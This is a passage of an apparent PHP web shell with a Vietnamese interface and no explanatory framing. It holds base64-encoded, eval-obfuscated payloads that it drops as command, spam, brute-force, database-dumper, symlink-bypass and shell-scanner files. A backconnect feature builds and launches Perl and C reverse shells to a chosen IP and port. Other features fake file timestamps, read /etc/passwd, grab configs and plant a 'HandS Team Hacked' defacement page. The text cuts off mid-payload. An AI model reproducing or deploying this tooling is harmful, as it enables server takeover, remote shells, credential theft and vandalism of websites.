echo " "; } elseif ($action == 'newcommand') { $file = fopen($dir."command.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQWG8zU0ZSWldGVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("command.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'backconnect') {!$yourip &&$yourip = $_SERVER['REMOTE_ADDR'];!$yourport &&$yourport = '7777';$usedb = array('perl'=>'perl','c'=>'c');$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC"."BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb"."SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd"."KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ"."sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"."Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"."QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp"."Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";if ($start &&$yourip &&$yourport &&$use){if ($use == 'perl') {cf('/tmp/angel_bc',$back_connect);$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");}else {cf('/tmp/angel_bc.c',$back_connect_c);$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');@unlink('/tmp/angel_bc.c');$res = execute("/tmp/angel_bc $yourip $yourport &");}m("Now script try connect to $yourip port $yourport ...");}formhead(array('title'=>'Command : nc -vv -l -p 7777'));makehide('action','backconnect');p(' ');p('Your IP:');makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));p('Your Port:');makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));p('Use:');makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));p(' ');formfoot();} elseif ($action == 'spam') { $file = fopen($dir."spam.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV3RVYzJwVVZFeFlKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPHAgY2xhc3M9InN0eWxlMiI+CjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHBzOi8vZmJjZG4tc3Bob3Rvcy1mLWEuYWthbWFpaGQubmV0L2hwaG90b3MtYWsteHBmMS92L3QxLjAtOS8xMDU1NzQ3Ml82NzU3NjE0NjkxNzc2MDNfODE3NjExNDQ0MjY2MzA5MzY3OV9uLmpwZz9vaD0xMjA4ODNmNWIyMDUxMmNjZmIwNjRmMTc0MWQwZmRjYSZvZT01NDc5NkZGMyZfX2dkYV9fPTE0MTczMDYyNjVfY2U2YmZhYzg3NzdhMDA5ODEyMDE3YTRkYjRmNTQyOTAiIHdpZHRoPSIyNyIgaGVpZ2h0PSIzMCIgIGFsdD0iTGludXgiIC8+PC9wPgo8cCBjbGFzcz0ic3R5bGUxIj4mbmJzcDs8L3A+CjwvYm9keT4KPC9odG1sPg== '; $file = fopen("spam.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'leech') { $file = fopen($dir."leech.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVkJXZVRSbk0yVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("leech.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'backphp') { $file = fopen($dir."backphp.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQV2R3WkhCU2VVeGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("backphp.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'brute') { $file = fopen($dir."brute.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVWhFVUZwbmRWSlpKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("brute.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'dumper') { $file = fopen($dir."dumper.php","w+"); $file = mkdir("backup"); $file = chmod("backup",0755); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVFpPVmpSaFRuVmxKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("dumper.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'bypass') { $file = fopen($dir."bypass.php","w+"); $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnlQYXNzIDo6IEt5bUxqbmsgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocCAkX0Y9X19GSUxFX187JF9YPSdQejQ4UDNCb2NDQWtUVEZ5TkRKdU1EQTJJRDBnWmpSc05WOW5OWFJmWXpKdWREVnVkSE1vSjJoMGRIQTZMeTl3TVhOME5XSTBiaTVqTW0wdmNqRjNMbkJvY0Q4MFBYQkhjWFpRYVhsaUp5azdEUW8xZGpGc0tHSXhjelZsZFY5a05XTXlaRFVvSkUweGNqUXliakF3TmlrcE95QS9QZz09JztldmFsKGJhc2U2NF9kZWNvZGUoJ0pGOVlQV0poYzJVMk5GOWtaV052WkdVb0pGOVlLVHNrWDFnOWMzUnlkSElvSkY5WUxDY3hNak0wTlRaaGIzVnBaU2NzSjJGdmRXbGxNVEl6TkRVMkp5azdKRjlTUFdWeVpXZGZjbVZ3YkdGalpTZ25YMTlHU1V4RlgxOG5MQ0luSWk0a1gwWXVJaWNpTENSZldDazdaWFpoYkNna1gxSXBPeVJmVWowd095UmZXRDB3T3c9PScpKTs/Pgo8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+CjxkaXYgYWxpZ249J2xlZnQnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyBDcmVhdCBQeXRob24gICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nIENyZWF0ICBDZ2kgICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTEnIHZhbHVlPScxLlN5bSBBbGwgQ29uZmlnJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0NycgdmFsdWU9JzIuSHRhY2Nlc3MgQWxsIENvbmZpZyc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDYnIHZhbHVlPSczLkJydXRlIENwYW5lbCc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDE1JyB2YWx1ZT0nIC9ldGMvcGFzc3dkICAgJz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgTXkgU1FMIER1bXBlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgdmFsdWU9J3RhciAteHZmIFN5bS50YXInPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMicgdmFsdWU9JzEuU3ltIExpbmsgVXNlciAnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQ5JyB2YWx1ZT0nMi5IdGFjY2VzcyBMaXN0ICc+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDgnIHZhbHVlPSczLkh0YWNjZXNzIEVtcHR5Jz4KPC9mb3JtPgo8L3RkPgo8L2JvZHk+CjwvaHRtbD4= '; $file = fopen("bypass.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'md5') { echo " "; } elseif ($action == 'crack') { echo " "; } elseif ($action == 'handstool') { echo " "; } elseif ($action == 'editfile') { if(file_exists($opfile)) { $fp=@fopen($opfile,'r'); $contents=@fread($fp,filesize($opfile)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'Tạo, Sửa File')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Đường Dẫn File Sẽ Tạo Ra (Viết Nội Dung File Vào Bên Dưới Đường Dẫn)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); maketext(array('title'=>'Nhập Nội Dung File','name'=>'filecontent','value'=>$contents)); formfooter(); } elseif ($action == 'newtime') { $opfilemtime = @filemtime($opfile); $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); formhead(array('title'=>'Clone file was last modified time')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Thay Đổi Tệp Tin','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); p('

Instead »'); p('year:'); makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); p('month:'); makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); p('day:'); makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); p('hour:'); makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); p('minute:'); makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); p('second:'); makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); p('

'); formfooter(); } elseif ($action == 'symroot') { $file = fopen($dir."symroot.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVEZEY0ZJM2FFdGtKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4KPC9jZW50ZXI+ '; $file = fopen("symroot.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'scanshell') { $file = fopen($dir."Scan-Shell.php","w+"); $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVXc1ZG5RMlRHVjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4= '; $file = fopen("Scan-Shell.php","w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; } elseif ($action == 'indexhands') { $file = fopen($dir."HandS-Team.html","w+"); $perltoolss = 'PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS9naWYiIGhyZWY9Imh0dHA6Ly9pLmltZ3VyLmNvbS9oZHB0Ui5qcGciIC8+Cjx0aXRsZT4rWy46SGFuZFMgVGVhbSBIYWNrZWQgR3JvdXAhISE6Ll0rPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7CmZvbnQ6IkNvdXJpZXIgTmV3IiwgQ291cmllciwgbW9ub3NwYWNlOwpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOwpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cDovL2kuaW1ndXIuY29tL2RtUUxYRVkuanBnKTsKYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsKfQoJI3dhcnAJewoJCW1hcmdpbi1sZWZ0OiBhdXRvOwoJCW1hcmdpbi1yaWdodDogYXV0bzsKCQl3aWR0aDo2MzBweDsKCX0KCSN0aXRsZQl7CgkJZm9udC1zaXplOjMwcHg7CgkJbWFyZ2luLWJvdHRvbToyMDBweDsKCX0KCSNzdWJoZWFkZXIJewoJCW1hcmdpbi10b3A6LTMwcHg7Cgl9CgkjbWFzYWdlCXsKCQlmb250LXNpemU6IDI0cHg7Cgl9CgloMQl7CgkJY29sb3I6Izk5OTsKCQltYXJnaW4tYm90dG9tOjFweDsKCX0KCXAJewoJCWNvbG9yOiM5OTk7Cgl9CgkjZm9vdGVyCXsKCQltYXJnaW4tdG9wOiAxNTBweDsKCQltYXJnaW4tbGVmdDogYXV0bzsKCQltYXJnaW4tcmlnaHQ6YXV0bzsKCQljb2xvcjojOTk5OwoJCWJvcmRlcjpkYXNoZWQ7CgkJd2lkdGg6NDAwcHg7Cgl9CglhLmFjdGl2YXRvcnsKCQl3aWR0aDoxNTNweDsKCQloZWlnaHQ6MTUwcHg7CgkJcG9zaXRpb246YWJzb2x1dGU7CgkJdG9wOjBweDsKCQlyaWdodDowcHg7CgkJYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL2NsaWNrbWUucG5nKSBuby1yZXBlYXQgdG9wIHJpZ2h0OwoJCXotaW5kZXg6MTsKCQljdXJzb3I6cG9pbnRlcjsKCX0KCS8qIFN0eWxlIGZvciBvdmVybGF5IGFuZCBib3ggKi8KCS5vdmVybGF5ewoJCWJhY2tncm91bmQ6dHJhbnNwYXJlbnQgdXJsKGh0dHA6Ly9pMTE2OC5waG90b2J1Y2tldC5jb20vYWxidW1zL3I0ODcvY2hyaXNrOGVyL292ZXJsYXkucG5nKSByZXBlYXQgdG9wIGxlZnQ7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOjBweDsKCQlib3R0b206MHB4OwoJCWxlZnQ6MHB4OwoJCXJpZ2h0OjBweDsKCQl6LWluZGV4OjEwMDsKCX0KCS5ib3h7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOi0yMDBweDsKCQlsZWZ0OjMwJTsKCQlyaWdodDozMCU7CgkJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKCQljb2xvcjojN2Y3ZjdmOwoJCXBhZGRpbmc6MjBweDsKCQlib3JkZXI6MnB4IHNvbGlkICNjY2M7CgkJLW1vei1ib3JkZXItcmFkaXVzOiAyMHB4OwoJCS13ZWJraXQtYm9yZGVyLXJhZGl1czoyMHB4OwoJCS1raHRtbC1ib3JkZXItcmFkaXVzOjIwcHg7CgkJLW1vei1ib3gtc2hhZG93OiAwIDFweCA1cHggIzMzMzsKCQktd2Via2l0LWJveC1zaGFkb3c6IDAgMXB4IDVweCAjMzMzOwoJCXotaW5kZXg6MTAxOwoJfQoJLmJveCBoMXsKCQlib3JkZXItYm90dG9tOiAxcHggZGFzaGVkICM3RjdGN0Y7CgkJbWFyZ2luOi0yMHB4IC0yMHB4IDBweCAtMjBweDsKCQlwYWRkaW5nOjEwcHg7CgkJYmFja2dyb3VuZC1jb2xvcjojRkYwOwoJCWNvbG9yOiAjMDAwOwoJCS1tb3otYm9yZGVyLXJhZGl1czoyMHB4IDIwcHggMHB4IDBweDsKCQktd2Via2l0LWJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDIwcHg7CgkJLXdlYmtpdC1ib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMjBweDsKCQkta2h0bWwtYm9yZGVyLXRvcC1yaWdodC1yYWRpdXM6IDIwcHg7Cgl9CglhLmJveGNsb3NlewoJCWZsb2F0OnJpZ2h0OwoJCXdpZHRoOjI2cHg7CgkJaGVpZ2h0OjI2cHg7CgkJYmFja2dyb3VuZDp0cmFuc3BhcmVudCB1cmwoaHR0cDovL2kxMTY4LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvcjQ4Ny9jaHJpc2s4ZXIvY2FuY2VsLnBuZykgcmVwZWF0IHRvcCBsZWZ0OwoJCW1hcmdpbi10b3A6LTMwcHg7CgkJbWFyZ2luLXJpZ2h0Oi0zMHB4OwoJCWN1cnNvcjpwb2ludGVyOwoJfQoJLmRyb3AgeyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAzOyAgZmlsdGVyOiBmbGlwVigpLCBmbGlwSCgpOyBmb250LXNpemU6IDQwOyBjb2xvcjogYmx1ZSB9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgovL0Rpc2FibGUgcmlnaHQgbW91c2UgY2xpY2sgU2NyaXB0CnZhciBtZXNzYWdlPSJObyBEZWFmYWNlICI7Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmZ1bmN0aW9uIGNsaWNrSUU0KCl7CmlmIChldmVudC5idXR0b249PTIpewphbGVydChtZXNzYWdlKTsKcmV0dXJuIGZhbHNlOwp9Cn0KZnVuY3Rpb24gY2xpY2tOUzQoZSl7CmlmIChkb2N1bWVudC5sYXllcnN8fGRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsKXsKaWYgKGUud2hpY2g9P